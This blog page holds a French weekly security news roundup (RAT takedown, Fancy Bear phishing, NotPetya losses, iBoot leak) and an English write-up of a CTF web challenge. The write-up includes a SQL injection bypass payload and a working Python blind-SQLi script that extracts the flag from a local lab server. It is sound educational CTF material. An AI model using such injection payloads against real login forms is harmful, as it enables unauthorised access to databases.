lundi 26 mars 2018

Actualité SECU

[JUSTICE] La justice a remporté plusieurs victoires cette semaine en commençant par l'éradication de l'outil Luminosity Link, un RAT vendu pour la modique somme de 40 euros à plus de 8 600 personnes dans 78 pays différents. Ce coup d'arrêt a été possible grâce à une coopération internationale des forces de l'ordre et du support d'Europol.

Le département de la justice américain a annoncé avoir démantelé le forum cybercriminel Infraud Organization. Ce forum au slogan évocateur « In Fraud We Trust », comptabilisait plus de 10 000 utilisateurs et représentait 530 millions de dollars de pertes envers les consommateurs, entreprises et institutions financières. Un de ses membres était notamment connu sur ce forum pour développer des malware s'attaquant aux points de ventes pour voler des données bancaires.

[RANSOMWARE] L'imagination des cybercriminels pour élaborer de nouveaux scénarios de fraude est sans limite. Le FBI a ainsi annoncé qu'une campagne de spams envoyait actuellement des messages usurpant l'Internet Crime Complaint Center (IC3) et proposant de remplir un document de remboursement suite à des dommages causés par une cyber-attaque. Le document en question, une fois ouvert, délivre sa charge malveillante sous forme d'un ransomware.

[ESPIONNAGE] Le groupe d'attaquants russophone Fancy Bear a ciblé différentes personnes travaillant dans le domaine des drones, missiles, roquettes, avions de combat furtifs mais aussi de plateformes de cloud computing. Les 87 personnes dans leur collimateur recevaient un mail contenant un lien de phishing usurpant, par exemple, une alerte de sécurité Google. Les domaines des nouvelles technologies telles que le cloud computing ont été également ciblés car la CIA a signé un contrat avec Amazon pour la mise en place d'une plateforme partagée entre les services de renseignements américains. En 2017, le vice premier ministre russe se réjouissait que l'écart technologique avec les États-Unis dans le domaine des drones de combat était désormais très réduit...

[RISQUE] Le numéro 2 du groupe Saint-Gobain est récemment revenu sur les conséquences de l'attaque Not Petya qu'ils ont subie par l'intermédiaire de leur filiale ukrainienne. En plus de repasser au stylo pour l'édition de factures dans leur réseau de distribution Lapeyre et Point P, cette attaque s'est soldée par quatre jours de gestion de crise et dix jours pour que l'activité reprenne totalement. La leçon a visiblement été retenue car le groupe a depuis souscrit à une cyber-assurance incluant les attaques numériques et représentant 10 à 15% du budget du département IT.

[JEUX OLYMPIQUES] Les recommandations de l'US-CERT pour les personnes se rendant à Pyeongchang pour suivre les Jeux Olympiques n’étaient pas inutiles. McAfee, qui avait analysé des documents malveillants ciblant les organisations olympiques, avait également prévenu sur la menace numérique autour des Jeux Olympiques. C'est désormais officiel, les Jeux Olympiques 2018 ont déjà été victime d'une attaque informatique lors de la cérémonie d'ouverture. Ce que The Guardian pensait initialement être des problèmes techniques était bien les conséquences d’une cyber-attaque. D'après les premières analyses, cela repose sur un malware ayant pour seul but de détruire et qui aurait des fonctionnalités déjà observées pour BadRabbit et Nyetya.

Fuite de la semaine

Apple a subi cette semaine la plus grosse fuite de données de son histoire avec la mise en ligne sur la plate-forme Github du code source d'iBoot. Ce dernier, l'un des composants les plus critiques des iDevices d’Apple (iPhones, iPad…), est en charge du démarrage des appareils, phase la plus intéressante pour la communauté des jailbreakers mais également des services de renseignements. En effet, trouver un bug à ce niveau est rétribué 200 000 dollars dans le programme Bug Bounty d'Apple et permettrait de compromettre la chaîne de démarrage et de potentiellement accéder aux données contenues dans les appareils. Bien que le code corresponde à celui d'iOS 9, c'est un composant qui est moins fréquemment modifié que le système d'exploitation et qui est donc susceptible d'être exploitable dans ses versions plus récentes. Cette fuite proviendrait d'un ancien développeurs bas niveau d'Apple, proche de la communauté jailbreak et qui aurait partagé ce code à ses amis. L'un de ces amis, l'aurait ensuite partagé à une tierce personne, qui l'aurait un peu trop disséminé, résultant de la publication sur Github.



samedi 10 mars 2018

Writeup for my WEB task called FATALITY presented at the HACKINI CTF 2k18


#WRITEUP #HACKINI #WEB # FATALITY_150 #BZAKARIA

Hi all, a little late but I did not forget you for the writeup of the web challenge that was not resolved by any team at the HACKINI CTF. It is called 'fatality' and had 150 points.
The task is not too difficult overall, but contains little effect that push you to think outside the box.
Basically, the home page only contains a web form that asks you to authenticate yourself to access the restricted space. Indeed, no information is given to you in advance. But if you dig deeply, you will surely get some.



Let's get right to the point. As there is a login form, it is clear that we need the correct username and password to authenticate.

You can take your time trying combinations of login / password or trying to brute-force the form, but you will not go further.

In the source code of the web page (CTRL + U) some things can catch our eyes.

The first thing is the hidden field that has as value:
SEFDS0lOSXtUaGlzX0lzX0FfUmVkaGVycmluZ30 =

It looks like a base64-encoded text. By decoding this one, we obtain:
HACKINI {This_Is_A_Redherring}

Hmmm .. not really interesting after all !! it looks like a fake flag since the word redherring appears on it (see https://en.wikipedia.org/wiki/Red_herring)

Let's try harder.

Another interesting thing is the word 'guest' foundable at the end of the source code. It seems to be a valid login. But the password is missing.

Since the username is given to you, you must understand that the login field is not injectable. You must deal with the password field.

The correct payload to pass is a little irregular. There it is:
')) or 1 = 1 #


Why like that? Because the SQL query behind look like this:
AND mdp = SHA1 (md5 ('$ _ POST [' password] '))

Doing it this way doesn't increase the robustness of the hash but it was not the goal. ^^

I think that was the hardest step of the challenge.

By injecting correctly the password field and by gaining access, it just takes you to another web page that shows you messages "Welcom!" and "Nothing is here".

This should lead you to realize that there is nothing special in the space.

Those messages are here just to be used in the context of a blind injection

You only have one corner to look for, it's the database.

A hint was given in the meantime which is :
flag everywhere

This is a classical HINT which means that either the table name or the column name you have to look for is named 'flag'.

Since your injection must be in a BLIND way, a script is more or less required.

The script below is pretty simple, it will inject the correct payload to get the length of the flag in the right place. Next, it will do many sql injections to get the flag char by char from the right place too since it will not be possible to do otherwise because we are dealing with a blind injection.

import requests
import re

trouve=0
longueur=0

while (trouve==0):
       payload="')) or (select length(flag) from flag)="+str(longueur)+"#"
       requette={'login':"guest",'password':payload}
       resultat=requests.post('http://localhost/web/fatality_150/index.php', data=requette).content
       res=re.search("Welcom  !",resultat)
       if res is not None:
             trouve=1
       else:
             longueur+=1
            
            
print "Length of the flag is : " + str(longueur)

trouve=0
length=1
caractere=32
flag=""

while(trouve==0):
       payload="')) or ascii(substring((select flag from flag),"+str(length)+",1))="+str(caractere)+"#"
       requette={'login':'guest','password':payload}
       resultat=requests.post('http://localhost/web/fatality_150/index.php',data=requette).content
       res=re.search("Welcom  !",resultat)
       if res is not None:
             if (length!=longueur):
                    flag+=chr(caractere)
                    length+=1
                    caractere=32
             else:
                    flag+=chr(caractere)
                    trouve=1
       else:
             caractere+=1

print ("The flag is : %s " % flag)

The result is just below :



Good reading.